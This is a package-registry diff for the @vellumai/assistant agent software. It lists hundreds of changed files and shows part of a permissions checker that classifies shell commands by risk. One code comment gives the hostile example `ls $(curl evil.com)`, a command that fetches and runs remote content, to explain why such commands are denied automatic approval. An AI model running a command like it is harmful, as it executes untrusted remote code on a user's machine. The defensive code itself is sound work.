@vellumai/assistant 0.6.5 → 0.6.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +9 -1
- package/ARCHITECTURE.md +15 -17
- package/Dockerfile +6 -4
- package/__tests__/permissions/gateway-threshold-reader.test.ts +283 -0
- package/docs/architecture/integrations.md +32 -39
- package/docs/architecture/memory.md +25 -30
- package/docs/architecture/security.md +7 -6
- package/docs/browser-use-architecture-phase2.md +63 -20
- package/docs/plugins.md +761 -0
- package/examples/plugins/echo/README.md +132 -0
- package/examples/plugins/echo/package.json +17 -0
- package/examples/plugins/echo/register.ts +187 -0
- package/node_modules/@vellumai/egress-proxy/src/types.ts +19 -0
- package/openapi.yaml +212 -68
- package/package.json +1 -1
- package/src/__tests__/app-compiler.test.ts +57 -0
- package/src/__tests__/approval-cascade.test.ts +7 -2
- package/src/__tests__/auto-analysis-end-to-end.test.ts +1 -0
- package/src/__tests__/avatar-generator.test.ts +4 -2
- package/src/__tests__/bundled-asset.test.ts +6 -6
- package/src/__tests__/catalog-cache.test.ts +69 -0
- package/src/__tests__/checker.test.ts +459 -171
- package/src/__tests__/circuit-breaker-pipeline.test.ts +406 -0
- package/src/__tests__/compaction-events.test.ts +501 -0
- package/src/__tests__/compaction-pipeline.test.ts +210 -0
- package/src/__tests__/compaction-strip-metadata-clear.test.ts +181 -0
- package/src/__tests__/compaction-timeout-recovery.test.ts +262 -0
- package/src/__tests__/config-model-image-provider.test.ts +110 -0
- package/src/__tests__/config-schema.test.ts +22 -9
- package/src/__tests__/config-watcher-cleanup-throttle.test.ts +0 -4
- package/src/__tests__/contacts-tools.test.ts +26 -0
- package/src/__tests__/context-overflow-policy.test.ts +7 -7
- package/src/__tests__/context-window-manager.test.ts +355 -4
- package/src/__tests__/conversation-abort-tool-results.test.ts +4 -1
- package/src/__tests__/conversation-agent-loop-overflow.test.ts +26 -30
- package/src/__tests__/conversation-agent-loop.test.ts +30 -141
- package/src/__tests__/conversation-confirmation-signals.test.ts +6 -1
- package/src/__tests__/conversation-history-web-search.test.ts +1 -0
- package/src/__tests__/conversation-init.benchmark.test.ts +2 -16
- package/src/__tests__/conversation-pairing.test.ts +174 -10
- package/src/__tests__/conversation-pre-run-repair.test.ts +4 -1
- package/src/__tests__/conversation-process-callsite.test.ts +3 -0
- package/src/__tests__/conversation-provider-retry-repair.test.ts +16 -7
- package/src/__tests__/conversation-queue.test.ts +29 -14
- package/src/__tests__/conversation-routes-disk-view.test.ts +7 -6
- package/src/__tests__/conversation-runtime-assembly.test.ts +155 -110
- package/src/__tests__/conversation-runtime-workspace.test.ts +23 -38
- package/src/__tests__/conversation-seed-composer.test.ts +2 -2
- package/src/__tests__/conversation-slash-queue.test.ts +7 -2
- package/src/__tests__/conversation-slash-unknown.test.ts +25 -2
- package/src/__tests__/conversation-speed-override.test.ts +6 -1
- package/src/__tests__/conversation-title-service.test.ts +116 -0
- package/src/__tests__/conversation-tool-setup-app-refresh.test.ts +41 -2
- package/src/__tests__/conversation-usage.test.ts +1 -1
- package/src/__tests__/conversation-workspace-cache-state.test.ts +4 -1
- package/src/__tests__/conversation-workspace-injection.test.ts +3 -0
- package/src/__tests__/conversation-workspace-tool-tracking.test.ts +4 -1
- package/src/__tests__/credential-health-service.test.ts +78 -9
- package/src/__tests__/credential-security-invariants.test.ts +2 -2
- package/src/__tests__/db-schedule-syntax-migration.test.ts +1 -0
- package/src/__tests__/empty-response-pipeline.test.ts +305 -0
- package/src/__tests__/extension-id-sync-guard.test.ts +3 -3
- package/src/__tests__/first-greeting.test.ts +247 -5
- package/src/__tests__/headless-browser-mode.test.ts +57 -0
- package/src/__tests__/history-repair-pipeline.test.ts +399 -0
- package/src/__tests__/host-browser-e2e-cloud.test.ts +307 -0
- package/src/__tests__/host-browser-e2e-self-hosted.test.ts +3 -3
- package/src/__tests__/host-proxy-interface.test.ts +36 -2
- package/src/__tests__/image-credentials.test.ts +137 -0
- package/src/__tests__/image-service-dispatcher.test.ts +186 -0
- package/src/__tests__/injector-chain.test.ts +526 -0
- package/src/__tests__/intent-routing.test.ts +0 -26
- package/src/__tests__/llm-call-pipeline.test.ts +285 -0
- package/src/__tests__/llm-schema.test.ts +1 -1
- package/src/__tests__/media-generate-image.test.ts +119 -13
- package/src/__tests__/memory-retrieval-pipeline.test.ts +401 -0
- package/src/__tests__/memory-upsert-concurrency.test.ts +1 -0
- package/src/__tests__/migration-import-from-url.test.ts +5 -68
- package/src/__tests__/model-intents.test.ts +4 -2
- package/src/__tests__/notification-broadcaster.test.ts +3 -3
- package/src/__tests__/notification-decision-strategy.test.ts +0 -11
- package/src/__tests__/notification-schedule-notify-dedup.test.ts +108 -0
- package/src/__tests__/oauth-apps-routes.test.ts +1 -1
- package/src/__tests__/oauth-cli.test.ts +14 -12
- package/src/__tests__/oauth-connect-orchestrator.test.ts +4 -13
- package/src/__tests__/oauth-provider-serializer.test.ts +6 -4
- package/src/__tests__/oauth-provider-visibility.test.ts +3 -5
- package/src/__tests__/oauth-providers-routes.test.ts +3 -2
- package/src/__tests__/oauth-store.test.ts +41 -76
- package/src/__tests__/onboarding-template-contract.test.ts +16 -64
- package/src/__tests__/openai-image-service.test.ts +368 -0
- package/src/__tests__/overflow-reduce-pipeline.test.ts +676 -0
- package/src/__tests__/permission-checker-host-gate.test.ts +0 -24
- package/src/__tests__/persist-onboarding-artifacts.test.ts +266 -0
- package/src/__tests__/persistence-pipeline.test.ts +377 -0
- package/src/__tests__/pipeline-runner.test.ts +565 -0
- package/src/__tests__/platform.test.ts +5 -2
- package/src/__tests__/plugin-bootstrap.test.ts +483 -0
- package/src/__tests__/plugin-registry.test.ts +273 -0
- package/src/__tests__/plugin-route-contribution.test.ts +288 -0
- package/src/__tests__/plugin-skill-contribution.test.ts +367 -0
- package/src/__tests__/plugin-tool-contribution.test.ts +286 -0
- package/src/__tests__/plugin-types.test.ts +320 -0
- package/src/__tests__/pricing.test.ts +44 -12
- package/src/__tests__/proxy-approval-callback.test.ts +69 -8
- package/src/__tests__/reaction-persistence.test.ts +1 -0
- package/src/__tests__/regenerate-fire-and-forget-trace.test.ts +1 -0
- package/src/__tests__/registry.test.ts +0 -2
- package/src/__tests__/schedule-routes.test.ts +131 -1
- package/src/__tests__/scheduler-recurrence.test.ts +14 -70
- package/src/__tests__/scheduler-reuse-conversation.test.ts +10 -50
- package/src/__tests__/secret-detection-handler.test.ts +0 -10
- package/src/__tests__/shell-identity.test.ts +0 -134
- package/src/__tests__/suggestion-routes.test.ts +103 -4
- package/src/__tests__/task-memory-cleanup.test.ts +1 -0
- package/src/__tests__/task-scheduler.test.ts +3 -15
- package/src/__tests__/test-preload.ts +11 -0
- package/src/__tests__/title-generate-pipeline.test.ts +224 -0
- package/src/__tests__/token-estimate-pipeline.test.ts +431 -0
- package/src/__tests__/tool-error-pipeline.test.ts +244 -0
- package/src/__tests__/tool-execute-pipeline.test.ts +431 -0
- package/src/__tests__/tool-execution-pipeline.benchmark.test.ts +0 -6
- package/src/__tests__/tool-executor-shell-integration.test.ts +7 -10
- package/src/__tests__/tool-executor.test.ts +141 -0
- package/src/__tests__/tool-result-truncate-pipeline.test.ts +356 -0
- package/src/__tests__/tool-result-truncation.test.ts +0 -110
- package/src/__tests__/user-plugin-loader.test.ts +191 -0
- package/src/__tests__/workspace-migration-046-seed-conversation-starters-callsite.test.ts +185 -0
- package/src/__tests__/workspace-migration-049-release-notes-default-sonnet.test.ts +100 -0
- package/src/__tests__/workspace-migration-050-seed-main-agent-opus-callsite.test.ts +171 -0
- package/src/__tests__/workspace-migration-051-seed-conversation-summarization-callsite.test.ts +252 -0
- package/src/__tests__/workspace-migration-remove-hooks.test.ts +99 -0
- package/src/__tests__/workspace-policy.test.ts +21 -3
- package/src/agent/loop.ts +340 -102
- package/src/approvals/__tests__/guardian-feed-event.test.ts +304 -0
- package/src/approvals/guardian-request-resolvers.ts +80 -0
- package/src/backup/__tests__/backup-worker.test.ts +2 -13
- package/src/backup/backup-worker.ts +3 -15
- package/src/bundler/app-compiler.ts +84 -1
- package/src/calls/call-state.ts +2 -2
- package/src/channels/__tests__/types.test.ts +3 -3
- package/src/channels/types.ts +6 -4
- package/src/cli/__tests__/notifications.test.ts +87 -211
- package/src/cli/commands/__tests__/backup.test.ts +1 -1
- package/src/cli/commands/__tests__/image-generation.test.ts +255 -35
- package/src/cli/commands/__tests__/inference-send.test.ts +12 -0
- package/src/cli/commands/__tests__/tts-synthesize.test.ts +12 -0
- package/src/cli/commands/backup.ts +2 -2
- package/src/cli/commands/clients.ts +138 -0
- package/src/cli/commands/completions.ts +2 -9
- package/src/cli/commands/conversations.ts +55 -7
- package/src/cli/commands/image-generation.ts +33 -34
- package/src/cli/commands/notifications.ts +68 -103
- package/src/cli/commands/oauth/__tests__/providers-register.test.ts +1 -1
- package/src/cli/commands/oauth/__tests__/providers-update.test.ts +1 -1
- package/src/cli/commands/oauth/connect.ts +2 -2
- package/src/cli/commands/oauth/providers.ts +176 -8
- package/src/cli/commands/oauth/status.ts +46 -36
- package/src/cli/commands/skills.ts +3 -4
- package/src/cli/program.ts +25 -29
- package/src/config/__tests__/backup-schema.test.ts +7 -2
- package/src/config/bundled-skills/app-builder/SKILL.md +2 -2
- package/src/config/bundled-skills/app-builder/references/WIDGETS.md +10 -10
- package/src/config/bundled-skills/contacts/tools/contact-merge.ts +66 -87
- package/src/config/bundled-skills/contacts/tools/contact-search.ts +28 -51
- package/src/config/bundled-skills/contacts/tools/contact-upsert.ts +22 -40
- package/src/config/bundled-skills/image-studio/SKILL.md +2 -1
- package/src/config/bundled-skills/image-studio/TOOLS.json +2 -1
- package/src/config/bundled-skills/image-studio/tools/media-generate-image.ts +23 -39
- package/src/config/bundled-skills/messaging/SKILL.md +3 -3
- package/src/config/bundled-skills/messaging/tools/__tests__/messaging-feed-events.test.ts +207 -0
- package/src/config/bundled-skills/messaging/tools/messaging-archive-by-sender.ts +12 -0
- package/src/config/bundled-skills/messaging/tools/messaging-send.ts +58 -0
- package/src/config/bundled-skills/schedule/SKILL.md +8 -3
- package/src/config/bundled-skills/schedule/TOOLS.json +15 -7
- package/src/config/bundled-skills/schedule/references/SCRIPT_MODE_PATTERNS.md +59 -0
- package/src/config/bundled-tool-registry.ts +0 -15
- package/src/config/feature-flag-registry.json +17 -1
- package/src/config/schema.ts +19 -0
- package/src/config/schemas/backup.ts +1 -1
- package/src/config/schemas/conversations.ts +16 -0
- package/src/config/schemas/llm.ts +2 -3
- package/src/config/schemas/security.ts +6 -6
- package/src/config/schemas/tts.ts +11 -0
- package/src/config/skill-state.ts +6 -2
- package/src/config/skills.ts +94 -5
- package/src/context/__tests__/compact-prompt.test.ts +27 -9
- package/src/context/prompts/compact.md +26 -12
- package/src/context/tool-result-truncation.ts +3 -63
- package/src/context/window-manager.ts +190 -16
- package/src/credential-health/credential-health-service.ts +19 -6
- package/src/daemon/__tests__/conversation-feed-event.test.ts +317 -0
- package/src/daemon/__tests__/conversation-lifecycle-auto-analyze.test.ts +4 -12
- package/src/daemon/__tests__/conversation-tool-setup.test.ts +14 -15
- package/src/daemon/config-watcher.ts +0 -2
- package/src/daemon/context-overflow-policy.ts +4 -13
- package/src/daemon/conversation-agent-loop-handlers.ts +83 -22
- package/src/daemon/conversation-agent-loop.ts +984 -683
- package/src/daemon/conversation-history.ts +10 -19
- package/src/daemon/conversation-lifecycle.ts +37 -19
- package/src/daemon/conversation-notifiers.ts +2 -110
- package/src/daemon/conversation-process.ts +14 -7
- package/src/daemon/conversation-runtime-assembly.ts +532 -411
- package/src/daemon/conversation-tool-setup.ts +41 -4
- package/src/daemon/conversation.ts +80 -35
- package/src/daemon/external-plugins-bootstrap.ts +478 -0
- package/src/daemon/first-greeting.ts +191 -14
- package/src/daemon/handlers/config-model.ts +11 -0
- package/src/daemon/handlers/skills.ts +5 -1
- package/src/daemon/lifecycle.ts +33 -68
- package/src/daemon/message-types/computer-use.ts +2 -34
- package/src/daemon/message-types/conversations.ts +49 -0
- package/src/daemon/message-types/messages.ts +12 -0
- package/src/daemon/server.ts +5 -3
- package/src/daemon/shutdown-handlers.ts +2 -12
- package/src/daemon/tool-side-effects.ts +14 -56
- package/src/heartbeat/__tests__/heartbeat-feed-event.test.ts +160 -0
- package/src/heartbeat/heartbeat-service.ts +24 -1
- package/src/home/__tests__/feed-population-integration.test.ts +312 -0
- package/src/home/emit-feed-event.ts +7 -0
- package/src/home/feed-types.ts +41 -2
- package/src/home/rewrite-command-preview.ts +66 -0
- package/src/ipc/__tests__/socket-path.test.ts +11 -50
- package/src/ipc/cli-client.ts +1 -1
- package/src/ipc/cli-server.ts +3 -3
- package/src/ipc/gateway-client.ts +4 -1
- package/src/ipc/routes/browser-context.ts +2 -0
- package/src/ipc/routes/browser.ts +1 -0
- package/src/ipc/routes/get-contact.ts +16 -0
- package/src/ipc/routes/index.ts +14 -0
- package/src/ipc/routes/list-clients.ts +31 -0
- package/src/ipc/routes/merge-contacts.ts +17 -0
- package/src/ipc/routes/notification.ts +133 -0
- package/src/ipc/routes/rename-conversation.ts +59 -0
- package/src/ipc/routes/search-contacts.ts +19 -0
- package/src/ipc/routes/upsert-contact.ts +25 -0
- package/src/ipc/socket-path.ts +14 -38
- package/src/media/app-icon-generator.ts +23 -46
- package/src/media/avatar-router.ts +26 -41
- package/src/media/gemini-image-service.ts +8 -41
- package/src/media/image-credentials.ts +73 -0
- package/src/media/image-service.ts +85 -0
- package/src/media/openai-image-service.ts +131 -0
- package/src/media/types.ts +46 -0
- package/src/memory/conversation-crud.ts +48 -18
- package/src/memory/conversation-queries.ts +57 -4
- package/src/memory/conversation-title-service.ts +25 -0
- package/src/memory/db-init.ts +8 -0
- package/src/memory/embedding-gemini.test.ts +41 -2
- package/src/memory/embedding-gemini.ts +6 -1
- package/src/memory/graph/bootstrap.test.ts +282 -0
- package/src/memory/graph/bootstrap.ts +8 -5
- package/src/memory/graph/extraction.ts +10 -2
- package/src/memory/graph/graph-search.test.ts +1 -0
- package/src/memory/graph/inspect.ts +2 -2
- package/src/memory/graph/retriever.ts +10 -3
- package/src/memory/migrations/041-approval-prompt-ts-tracker.ts +26 -0
- package/src/memory/migrations/149-oauth-tables.ts +1 -0
- package/src/memory/migrations/223-schedule-script-column.ts +11 -0
- package/src/memory/migrations/224-oauth-providers-managed-service-is-paid.ts +24 -0
- package/src/memory/migrations/225-oauth-providers-available-scopes.ts +13 -0
- package/src/memory/migrations/index.ts +4 -0
- package/src/memory/pkb/pkb-index.test.ts +1 -0
- package/src/memory/pkb/pkb-reconcile.test.ts +1 -0
- package/src/memory/pkb/pkb-search.test.ts +65 -4
- package/src/memory/pkb/pkb-search.ts +40 -18
- package/src/memory/qdrant-client.test.ts +60 -0
- package/src/memory/qdrant-client.ts +25 -0
- package/src/memory/schema/infrastructure.ts +1 -0
- package/src/memory/schema/oauth.ts +4 -1
- package/src/messaging/providers/slack/render-transcript.test.ts +77 -29
- package/src/messaging/providers/slack/render-transcript.ts +58 -0
- package/src/notifications/conversation-pairing.ts +78 -19
- package/src/notifications/copy-composer.ts +0 -5
- package/src/notifications/emit-signal.ts +1 -1
- package/src/notifications/signal.ts +1 -2
- package/src/oauth/AGENTS.md +1 -1
- package/src/oauth/__tests__/identity-verifier.test.ts +2 -1
- package/src/oauth/connect-orchestrator.ts +8 -34
- package/src/oauth/connect-types.ts +6 -10
- package/src/oauth/manual-token-connection.ts +23 -0
- package/src/oauth/oauth-store.ts +30 -14
- package/src/oauth/provider-serializer.ts +6 -1
- package/src/oauth/seed-providers.ts +56 -108
- package/src/outbound-proxy/http-forwarder.ts +9 -0
- package/src/permissions/approval-policy.test.ts +293 -18
- package/src/permissions/approval-policy.ts +110 -58
- package/src/permissions/arg-parser.test.ts +161 -0
- package/src/permissions/arg-parser.ts +141 -0
- package/src/permissions/bash-risk-classifier.test.ts +414 -2
- package/src/permissions/bash-risk-classifier.ts +303 -60
- package/src/permissions/checker.ts +157 -29
- package/src/permissions/command-registry.test.ts +239 -0
- package/src/permissions/command-registry.ts +234 -54
- package/src/permissions/defaults.ts +5 -4
- package/src/permissions/gateway-threshold-reader.ts +196 -0
- package/src/permissions/prompter.ts +4 -0
- package/src/permissions/risk-types.ts +61 -4
- package/src/permissions/schedule-risk-classifier.test.ts +129 -0
- package/src/permissions/schedule-risk-classifier.ts +85 -0
- package/src/permissions/shell-identity.ts +2 -42
- package/src/permissions/types.ts +2 -0
- package/src/permissions/workspace-policy.ts +8 -3
- package/src/plugins/defaults/circuit-breaker.ts +146 -0
- package/src/plugins/defaults/compaction.ts +145 -0
- package/src/plugins/defaults/empty-response.ts +126 -0
- package/src/plugins/defaults/history-repair.ts +85 -0
- package/src/plugins/defaults/index.ts +116 -0
- package/src/plugins/defaults/injectors.ts +491 -0
- package/src/plugins/defaults/llm-call.ts +82 -0
- package/src/plugins/defaults/memory-retrieval.ts +226 -0
- package/src/plugins/defaults/overflow-reduce.ts +181 -0
- package/src/plugins/defaults/persistence.ts +129 -0
- package/src/plugins/defaults/title-generate.ts +95 -0
- package/src/plugins/defaults/token-estimate.ts +104 -0
- package/src/plugins/defaults/tool-error.ts +126 -0
- package/src/plugins/defaults/tool-execute.ts +89 -0
- package/src/plugins/defaults/tool-result-truncate.ts +88 -0
- package/src/plugins/pipeline.ts +316 -0
- package/src/plugins/plugin-skill-contributions.ts +292 -0
- package/src/plugins/registry.ts +241 -0
- package/src/plugins/types.ts +1134 -0
- package/src/plugins/user-loader.ts +177 -0
- package/src/prompts/templates/BOOTSTRAP.md +27 -77
- package/src/providers/model-catalog.ts +52 -29
- package/src/providers/model-intents.ts +1 -1
- package/src/providers/openrouter/client.ts +5 -1
- package/src/providers/speech-to-text/deepgram-realtime.test.ts +61 -0
- package/src/providers/speech-to-text/deepgram-realtime.ts +57 -0
- package/src/providers/speech-to-text/xai-realtime.test.ts +72 -4
- package/src/providers/speech-to-text/xai-realtime.ts +39 -14
- package/src/runtime/AGENTS.md +25 -16
- package/src/runtime/__tests__/browser-extension-pair-routes.test.ts +3 -3
- package/src/runtime/__tests__/client-registry.test.ts +293 -0
- package/src/runtime/client-registry.ts +261 -0
- package/src/runtime/http-server.ts +77 -8
- package/src/runtime/http-types.ts +0 -2
- package/src/runtime/migrations/vbundle-builder.ts +1 -22
- package/src/runtime/routes/approval-prompt-ts-tracker.ts +51 -31
- package/src/runtime/routes/approval-routes.ts +17 -0
- package/src/runtime/routes/browser-extension-pair-routes.ts +27 -8
- package/src/runtime/routes/conversation-routes.ts +223 -116
- package/src/runtime/routes/inbound-message-handler.ts +88 -13
- package/src/runtime/routes/memory-item-routes.test.ts +1 -0
- package/src/runtime/routes/migration-routes.ts +0 -3
- package/src/runtime/routes/playground/__tests__/force-compact.test.ts +284 -0
- package/src/runtime/routes/playground/__tests__/guard.test.ts +80 -0
- package/src/runtime/routes/playground/__tests__/inject-failures.test.ts +294 -0
- package/src/runtime/routes/playground/__tests__/reset-circuit.test.ts +271 -0
- package/src/runtime/routes/playground/__tests__/seed-conversation.test.ts +202 -0
- package/src/runtime/routes/playground/__tests__/seeded-conversations.test.ts +309 -0
- package/src/runtime/routes/playground/__tests__/state.test.ts +224 -0
- package/src/runtime/routes/playground/conversation-not-found.ts +29 -0
- package/src/runtime/routes/playground/deps.ts +56 -0
- package/src/runtime/routes/playground/force-compact.ts +73 -0
- package/src/runtime/routes/playground/guard.ts +37 -0
- package/src/runtime/routes/playground/index.ts +28 -0
- package/src/runtime/routes/playground/inject-failures.ts +159 -0
- package/src/runtime/routes/playground/reset-circuit.ts +115 -0
- package/src/runtime/routes/playground/seed-conversation.ts +139 -0
- package/src/runtime/routes/playground/seeded-conversations.ts +78 -0
- package/src/runtime/routes/playground/state.ts +78 -0
- package/src/runtime/routes/schedule-routes.ts +89 -8
- package/src/runtime/skill-route-registry.ts +75 -15
- package/src/schedule/run-script.ts +68 -0
- package/src/schedule/schedule-store.ts +7 -1
- package/src/schedule/scheduler.ts +48 -8
- package/src/skills/catalog-cache.ts +12 -5
- package/src/tools/browser/__tests__/browser-status.test.ts +189 -0
- package/src/tools/browser/browser-execution.ts +88 -19
- package/src/tools/browser/cdp-client/__tests__/extension-cdp-client.test.ts +230 -0
- package/src/tools/browser/cdp-client/__tests__/factory.test.ts +146 -3
- package/src/tools/browser/cdp-client/extension-cdp-client.ts +54 -3
- package/src/tools/browser/cdp-client/factory.ts +15 -4
- package/src/tools/executor.ts +126 -74
- package/src/tools/network/script-proxy/session-manager.ts +37 -1
- package/src/tools/permission-checker.ts +98 -49
- package/src/tools/policy-context.ts +4 -0
- package/src/tools/registry.ts +140 -3
- package/src/tools/schedule/create.ts +23 -8
- package/src/tools/schedule/update.ts +3 -1
- package/src/tools/secret-detection-handler.ts +0 -51
- package/src/tools/system/avatar-generator.ts +6 -2
- package/src/tools/types.ts +28 -2
- package/src/util/platform.ts +7 -2
- package/src/util/pricing.ts +26 -3
- package/src/workspace/migrations/006-services-config.ts +2 -4
- package/src/workspace/migrations/022-move-hooks-to-workspace.ts +2 -3
- package/src/workspace/migrations/041-backfill-google-gmail-settings-scope.ts +3 -4
- package/src/workspace/migrations/046-seed-conversation-starters-callsite.ts +108 -0
- package/src/workspace/migrations/047-remove-watch-callsites.ts +54 -0
- package/src/workspace/migrations/048-remove-workspace-hooks.ts +81 -0
- package/src/workspace/migrations/049-release-notes-default-sonnet.ts +80 -0
- package/src/workspace/migrations/050-seed-main-agent-opus-callsite.ts +86 -0
- package/src/workspace/migrations/051-seed-conversation-summarization-callsite.ts +128 -0
- package/src/workspace/migrations/registry.ts +12 -0
- package/tsconfig.json +1 -1
- package/hook-templates/debug-prompt-logger/hook.json +0 -7
- package/hook-templates/debug-prompt-logger/run.sh +0 -66
- package/src/__tests__/compaction-circuit-breaker.test.ts +0 -336
- package/src/__tests__/context-overflow-approval.test.ts +0 -156
- package/src/__tests__/hooks-blocking.test.ts +0 -178
- package/src/__tests__/hooks-cli.test.ts +0 -182
- package/src/__tests__/hooks-config.test.ts +0 -108
- package/src/__tests__/hooks-discovery.test.ts +0 -211
- package/src/__tests__/hooks-integration.test.ts +0 -196
- package/src/__tests__/hooks-manager.test.ts +0 -226
- package/src/__tests__/hooks-runner.test.ts +0 -175
- package/src/__tests__/hooks-settings.test.ts +0 -160
- package/src/__tests__/hooks-templates.test.ts +0 -169
- package/src/__tests__/hooks-ts-runner.test.ts +0 -170
- package/src/__tests__/hooks-watch.test.ts +0 -112
- package/src/__tests__/notification-schedule-dedup.test.ts +0 -213
- package/src/__tests__/oauth-scope-policy.test.ts +0 -180
- package/src/__tests__/send-notification-tool.test.ts +0 -83
- package/src/cli/commands/shotgun.ts +0 -266
- package/src/config/bundled-skills/conversations/SKILL.md +0 -20
- package/src/config/bundled-skills/conversations/TOOLS.json +0 -23
- package/src/config/bundled-skills/conversations/tools/rename-conversation.ts +0 -88
- package/src/config/bundled-skills/heartbeat/SKILL.md +0 -43
- package/src/config/bundled-skills/notifications/SKILL.md +0 -40
- package/src/config/bundled-skills/notifications/TOOLS.json +0 -80
- package/src/config/bundled-skills/notifications/tools/send-notification.ts +0 -152
- package/src/config/bundled-skills/notifications/tools/shared.ts +0 -13
- package/src/config/bundled-skills/screen-watch/SKILL.md +0 -27
- package/src/config/bundled-skills/screen-watch/TOOLS.json +0 -35
- package/src/config/bundled-skills/screen-watch/tools/start-screen-watch.ts +0 -12
- package/src/config/bundled-skills/skills-catalog/SKILL.md +0 -84
- package/src/daemon/context-overflow-approval.ts +0 -52
- package/src/daemon/watch-handler.ts +0 -399
- package/src/hooks/cli.ts +0 -253
- package/src/hooks/config.ts +0 -100
- package/src/hooks/discovery.ts +0 -135
- package/src/hooks/manager.ts +0 -179
- package/src/hooks/runner.ts +0 -117
- package/src/hooks/templates.ts +0 -77
- package/src/hooks/types.ts +0 -75
- package/src/oauth/scope-policy.ts +0 -89
- package/src/runtime/gateway-internal-client.ts +0 -94
- package/src/runtime/routes/watch-routes.ts +0 -156
- package/src/signals/shotgun.ts +0 -203
- package/src/tools/watch/screen-watch.ts +0 -144
- package/src/tools/watch/watch-state.ts +0 -142
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import { createHash } from "node:crypto";
|
|
2
2
|
import { homedir } from "node:os";
|
|
3
|
-
import { dirname, resolve } from "node:path";
|
|
3
|
+
import { dirname, join, resolve } from "node:path";
|
|
4
4
|
|
|
5
5
|
import { isAssistantFeatureFlagEnabled } from "../config/assistant-feature-flags.js";
|
|
6
6
|
import { getIsContainerized } from "../config/env-registry.js";
|
|
@@ -16,18 +16,28 @@ import {
|
|
|
16
16
|
looksLikePathOnlyInput,
|
|
17
17
|
} from "../tools/network/url-safety.js";
|
|
18
18
|
import { getTool } from "../tools/registry.js";
|
|
19
|
+
import { getWorkspaceDir } from "../util/platform.js";
|
|
19
20
|
import {
|
|
20
21
|
type ApprovalContext,
|
|
21
22
|
DefaultApprovalPolicy,
|
|
22
23
|
resolveThreshold,
|
|
23
24
|
} from "./approval-policy.js";
|
|
25
|
+
import { parseArgs } from "./arg-parser.js";
|
|
24
26
|
import { bashRiskClassifier } from "./bash-risk-classifier.js";
|
|
27
|
+
import { DEFAULT_COMMAND_REGISTRY } from "./command-registry.js";
|
|
25
28
|
import { fileRiskClassifier } from "./file-risk-classifier.js";
|
|
26
|
-
import {
|
|
29
|
+
import { getAutoApproveThreshold } from "./gateway-threshold-reader.js";
|
|
27
30
|
import {
|
|
31
|
+
type CommandRiskSpec,
|
|
32
|
+
type RiskAssessment,
|
|
33
|
+
riskToRiskLevel,
|
|
34
|
+
} from "./risk-types.js";
|
|
35
|
+
import { scheduleRiskClassifier } from "./schedule-risk-classifier.js";
|
|
36
|
+
import {
|
|
37
|
+
analyzeShellCommand,
|
|
28
38
|
buildShellAllowlistOptions,
|
|
29
|
-
buildShellCommandCandidates,
|
|
30
39
|
cachedParse,
|
|
40
|
+
deriveShellActionKeys,
|
|
31
41
|
type ParsedCommand,
|
|
32
42
|
} from "./shell-identity.js";
|
|
33
43
|
import { skillLoadRiskClassifier } from "./skill-risk-classifier.js";
|
|
@@ -40,7 +50,10 @@ import {
|
|
|
40
50
|
type ScopeOption,
|
|
41
51
|
} from "./types.js";
|
|
42
52
|
import { webRiskClassifier } from "./web-risk-classifier.js";
|
|
43
|
-
import {
|
|
53
|
+
import {
|
|
54
|
+
isPathWithinWorkspaceRoot,
|
|
55
|
+
isWorkspaceScopedInvocation,
|
|
56
|
+
} from "./workspace-policy.js";
|
|
44
57
|
|
|
45
58
|
// ── Risk classification cache ────────────────────────────────────────────────
|
|
46
59
|
// classifyRisk() is called on every permission check and can invoke WASM
|
|
@@ -242,10 +255,27 @@ async function buildCommandCandidates(
|
|
|
242
255
|
preParsed?: ParsedCommand,
|
|
243
256
|
): Promise<string[]> {
|
|
244
257
|
if (toolName === "bash" || toolName === "host_bash") {
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
);
|
|
258
|
+
const command = getStringField(input, "command").trim();
|
|
259
|
+
if (!command) return [command];
|
|
260
|
+
|
|
261
|
+
const analysis = await analyzeShellCommand(command, preParsed);
|
|
262
|
+
const actionResult = deriveShellActionKeys(analysis);
|
|
263
|
+
|
|
264
|
+
const candidates: string[] = [command];
|
|
265
|
+
|
|
266
|
+
if (actionResult.keys.length > 0) {
|
|
267
|
+
if (actionResult.isSimpleAction && actionResult.primarySegment) {
|
|
268
|
+
const canonical = actionResult.primarySegment.command;
|
|
269
|
+
if (canonical !== command) {
|
|
270
|
+
candidates.push(canonical);
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
for (const actionKey of actionResult.keys) {
|
|
274
|
+
candidates.push(actionKey.key);
|
|
275
|
+
}
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
return [...new Set(candidates)];
|
|
249
279
|
}
|
|
250
280
|
|
|
251
281
|
if (toolName === "skill_load") {
|
|
@@ -475,6 +505,19 @@ export async function classifyRisk(
|
|
|
475
505
|
reason: assessment.reason,
|
|
476
506
|
};
|
|
477
507
|
}
|
|
508
|
+
// ── Schedule tools: delegate to ScheduleRiskClassifier ──────────────────
|
|
509
|
+
else if (toolName === "schedule_create" || toolName === "schedule_update") {
|
|
510
|
+
const assessment = await scheduleRiskClassifier.classify({
|
|
511
|
+
toolName,
|
|
512
|
+
mode: getStringField(input, "mode") || undefined,
|
|
513
|
+
script: getStringField(input, "script") || undefined,
|
|
514
|
+
});
|
|
515
|
+
classifierAssessment = assessment;
|
|
516
|
+
result = {
|
|
517
|
+
level: riskToRiskLevel(assessment.riskLevel),
|
|
518
|
+
reason: assessment.reason,
|
|
519
|
+
};
|
|
520
|
+
}
|
|
478
521
|
// ── Remaining tools: fall through to registry-based classification ──────
|
|
479
522
|
else {
|
|
480
523
|
result = {
|
|
@@ -589,13 +632,80 @@ export async function check(
|
|
|
589
632
|
policyContext,
|
|
590
633
|
);
|
|
591
634
|
|
|
635
|
+
// Resolve sandboxAutoApprove for bash commands — all pipeline segments must be
|
|
636
|
+
// on the allowlist, and the command must not contain opaque constructs or
|
|
637
|
+
// dangerous patterns (e.g. `ls $(curl evil.com)` has an allowlisted program
|
|
638
|
+
// but a command substitution that could execute arbitrary code).
|
|
639
|
+
//
|
|
640
|
+
// For non-containerized environments, path resolution is applied: each
|
|
641
|
+
// segment's arguments are parsed via the command's argSchema, and all
|
|
642
|
+
// path arguments must resolve within the workspace root. Containerized
|
|
643
|
+
// environments skip path checks since the entire filesystem is the workspace.
|
|
644
|
+
let hasSandboxAutoApprove = false;
|
|
645
|
+
if (toolName === "bash" && shellParsed) {
|
